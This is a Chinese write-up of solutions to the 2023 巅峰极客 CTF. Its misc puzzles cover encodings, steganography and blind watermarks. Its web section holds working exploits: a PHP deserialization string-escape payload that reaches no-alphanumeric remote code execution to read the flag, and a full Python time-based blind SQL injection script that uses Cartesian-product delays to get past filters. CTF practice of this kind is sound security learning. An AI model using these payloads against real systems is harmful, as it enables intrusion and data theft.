[巅峰极客2023]wp复现

文章目录

    • [巅峰极客2023]复现
      • misc
        • welcome
        • foundme
        • song
        • 学生物
      • web
        • unserialize
        • sql

[巅峰极客2023]复现

misc

welcome

base64解码

foundme

find.DMP文件

[巅峰极客2023]wp复现_第1张图片

使用flag查找工具找到关键字:

[巅峰极客2023]wp复现_第2张图片

flag.avif

[巅峰极客2023]wp复现_第3张图片

放入010中看到这个hint,找到好几个avif

[巅峰极客2023]wp复现_第4张图片

将他们分离出来

song

010打开song

[巅峰极客2023]wp复现_第5张图片

看着像office的文件,我们改后缀为zip,

[巅峰极客2023]wp复现_第6张图片

找到一张图片,010打开,分离出hint.zip

[巅峰极客2023]wp复现_第7张图片

打开zip:[巅峰极客2023]wp复现_第8张图片

password_hint.txt

9iZ!r@n(9KAQV])<,6_K:,$L-<`N0U>'`J\@;A:f@X:pc;__);/8c[<(K>S=u&Q<

比赛时在这里卡住了,其实这个是base85编码,我们可以使用cyberchef解密

这里我选择basecrack工具:(这个工具可以自动识别base编码)

python basecrack.py -m
# -m 参数代表解码多次

[巅峰极客2023]wp复现_第9张图片

这个工具最终解码为:

[巅峰极客2023]wp复现_第10张图片

4WXYNZ5AQHTJRL7FXC4ORJ4B4W6LDZMPUPSLXJD3FIVCUKRKFJ6Q==== 
base32解密:
密码是常见弱口令{******}
[巅峰极客2023]wp复现_第11张图片

image4、5文件分离出来,对比一下:

[巅峰极客2023]wp复现_第12张图片

把上面的内容分离出来,然后使用file命令查看一下文件类型:

image-20230722203311799

发现是.ape文件:

[巅峰极客2023]wp复现_第13张图片

我们可以使用DeepSound打开,由于提示弱密码,123456刚好满足:

[巅峰极客2023]wp复现_第14张图片

password.txt

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook.
Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook?
Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook.
Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook!
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook?
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook?
Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook!
Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook!
Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook.
Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook.
Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook.
Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. 

ook编码 解密

this_zip_password_is_QazWsx147!@#

压缩包密码:QazWsx147!@#

打开得到flag

学生物

有两张一样的图片,盲水印:

[巅峰极客2023]wp复现_第15张图片

我们使用工具BlindWaterMark解密:

python bwmforpy3.py decode a.png b.png c.png
[巅峰极客2023]wp复现_第16张图片

甲硫氨酸

在其中一张图片末尾发现一串字符

MFFMNMMFGHMMQWEMMTMMPMDFMMYMMRMKKKMMLMMGMPMPMMMMSMMVMMGMGMMMQMQMQMMMQMMMMEMEMEMEMMMMWMMMTMMMMPMMMDMNMNMMMMTMMMNMNMMNMNMMGMMGMGMGMGMMMMHMKMLMAMMMMAMAMAMSMSMSMMSMMYMYMMYMMYMMHMMVMVMMMMVMMRMMMRMAMAMMAMMAMMQMMMQMEMYMYMMM

比赛给了hint:

[巅峰极客2023]wp复现_第17张图片

甲硫氨酸缩写:M

[巅峰极客2023]wp复现_第18张图片

我们使用脚本输出一下 M在这一串字符中的位置

1 4 6 7 11 12 16 17 19 20 22 25 26 28 29 31 35 36 38 39 41 43 45 46 47 48 50 51 53 54 56 58 59 60 62 64 66 67 68 70 71 72 73 75 77 79 81 82 83 84 86 87 88 90 91 92 93 95 96 97 99 101 103 104 105 106 108 109 110 112 114 115 117 119 120 122 123 125 127 129 131 132 133 134 136 138 140 142 143 144 145 147 149 151 153 155 157 158 160 161 163 165 166 168 169 171 172 174 175 177 179 180 181 182 184 185 187 188 189 191 193 195 196 198 199 201 202 204 205 206 208 210 212 214 215 216

卡在这一步了

最终的解法是使用二进制,我们先将位置对2取余,然后将得到的字符串转为2进制,每8位二进制一组,转为ascii码即可:

s = "MFFMNMMFGHMMQWEMMTMMPMDFMMYMMRMKKKMMLMMGMPMPMMMMSMMVMMGMGMMMQMQMQMMMQMMMMEMEMEMEMMMMWMMMTMMMMPMMMDMNMNMMMMTMMMNMNMMNMNMMGMMGMGMGMGMMMMHMKMLMAMMMMAMAMAMSMSMSMMSMMYMYMMYMMYMMHMMVMVMMMMVMMRMMMRMAMAMMAMMAMMQMMMQMEMYMYMMM"

bins = ""

pos = 0
for i in s:
    if i == 'M':
        bins += str(pos % 2)
    pos += 1

for bin in range(0,len(bins),8):
    num = bins[bin:bin+8]
    num = int(num,2)
    if num > 128 :
        num = num - 128
    else:
        pass
    print(chr(num),end="")
    
# flag{Am!n0_@c1d3}

web

unserialize

访问/www.zip获得源码:

index.php


include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();

if (isset($_POST['root']) && isset($_POST['pwd'])) {
	$root = $_POST['root'];
	$pwd = $_POST['pwd'];
	$login = new push_it($root, $pwd);
	$_SESSION['login'] = b(serialize($login));
	die('');
}

login.php


session_start();
include_once "my.php";
include_once "function.php";

if (!isset($_SESSION['login'])) {
	echo '';
}

$login = @unserialize(a($_SESSION['login']));
echo $login;

function.php


function b($data) {
	return str_replace('aaaa', 'bbbbbb', $data);
}

function a($data) {
	return str_replace('bbbbbb', 'aaaa', $data);
}
?>

my.php


<?php

class pull_it {
	private $x;

	function __construct($xx) {
		$this->x = $xx;
	}

	function __destruct() {
		if ($this->x) {
			$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
		if (eval($preg_match)) {
			echo $preg_match;
			exit("save_waf");
		}
		@eval($this->x);
		}
	}	
}
class push_it {
	private $root;
	private $pwd;

	function __construct($root, $pwd) {
		$this->root = $root;
		$this->pwd = $pwd;
	}
	
		function __destruct() {
		unset($this->root);
		unset($this->pwd);
	}

	function __toString() {
		if (isset($this->root) && isset($this->pwd)) {
			echo "

Hello, $this->root

"
; } else { echo "

out!

"
; } } }

这个题目分析一下就知道是反序列化字符逃逸漏洞

问题出在这个函数上,每次可以逃逸出两个字符

function a($data) {
	return str_replace('bbbbbb', 'aaaa', $data);
}

这里我之前以为只能改属性,没想到php反序列化也可以将对象里的对象反序列化

知道这个就简单了

我们输出一个push_it对象的序列化字符串,由于对象成员变量的权限是private所以序列化中会出现%00的字符,该字符不可见(也算作一个字符)

image-20230723141902884

我们计算一下从用户名末尾处到pwd输入处总共需要多少个字符,我们就逃逸多少个字符:

[巅峰极客2023]wp复现_第19张图片

总共28个字符,所以我们用户名的bbbbbb可以重复14次,就逃逸出28个字符了,

所以这里面都是用户名了,后面pwd我们可以自己构造,闭合以及加入对象序列化串等操作

image-20230723142339136

于是用户名为:(共6*14=84个b)

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

接下来构造pwd即可,我们先查看一下pull_it对象序列化后的值

pull_it类的析构方法:

function __destruct() {
		if ($this->x) {
			$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
		if (eval($preg_match)) {
			echo $preg_match;
			exit("save_waf");
		}
		@eval($this->x);
		}
	}

很明显是无字母数字RCE,我们取反构造即可:

[巅峰极客2023]wp复现_第20张图片

我们现在已经知道了pull_it序列化后字符串的形式了,接下来我们只需要闭合push_it序列化字符串前面的符号即可:

前面逃逸出来的这些字符已经变成username串中的一部分了,我们在pwd中也需要加入这些进行闭合(这里的%00我们不能直接这么写,需要编码后才为%00,所以我们可以先写成\000,这个是8进制的写法,然后编码之后就能转为%00,但是在php中需要使用双引号才能识别\000

";s:12:"%00push_it%00pwd";

后面一部分加入pull_it序列化后的字符串

image-20230723143638745

于是我们可以获得pwd的payload:


require("my.php");
require "function.php";

echo urlencode("\";s:12:\"\000push_it\000pwd\";".serialize(new pull_it('(~'.~'system'.")(~".~"cat /f*".");")));

# 输出:
# %22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D

完整payload:

root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D

小结

没写出这题的原因,以为只能通过逃逸改变属性值,结果可以反序列化对象里的对象

sql

笛卡尔积的sql注入

这道题ban了:sleep if benchmark rpad 等等,普通的延时注入肯定不行,关键词都被ban了

(本来使用rpad填充字符结合正则表达式,也可以达到延时的效果)

这一需要使用到笛卡尔积的延时注入:

简单的说,就是通过查询多个大的表,导致产生笛卡尔积,造成查询数量多,所以会产生延时的效果

但是if都被过滤了,我们怎么才能够一边查询多表导致笛卡尔积,一边进行盲注呢?

这里可以使用case表达式:

CASE
  WHEN condition1 THEN result1
  WHEN condition2 THEN result2
  ...
  ELSE result
END

这样就实现了if的效果了,这样就可以写脚本盲注了

大佬脚本:

import requests,string,time
#select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
#select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'xxx'
#select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'xxx' and TABLE_NAME = 'xxx'
#group_concat(table_name) from information_schema.tables where table_schema=
dic=string.printable.replace("*","")
url='http://web-d7d8079aa0.challenge.xctf.org.cn/?id='
p1='''case when({}) then (select sum("A") FROM information_schema.columns A,information_schema.tables B,information_schema.tables C) else 1 end||'1'='1'''
string=''
for i in range(1,100):
    for j in dic:
        exp=p1.format("((substr(({}),{},1)))=BINARY('{}')").format("select Flagg from Flllag",str(i),j)
        data = "1'||{}".format(exp)
        #print(data)
        now=time.time()
        try:
            r=requests.get(url+data,timeout=3)
            if "nonono" in r.text:
                print(r.text)
                print(data)
                print("baned")
                exit(0)
        except Exception as e:
            pass
       # print(time.time() - now)
        if time.time() - now > 3:
            string+=j
            print(string)
            break
print(string)

你可能感兴趣的:(wp,CTF,安全,web安全)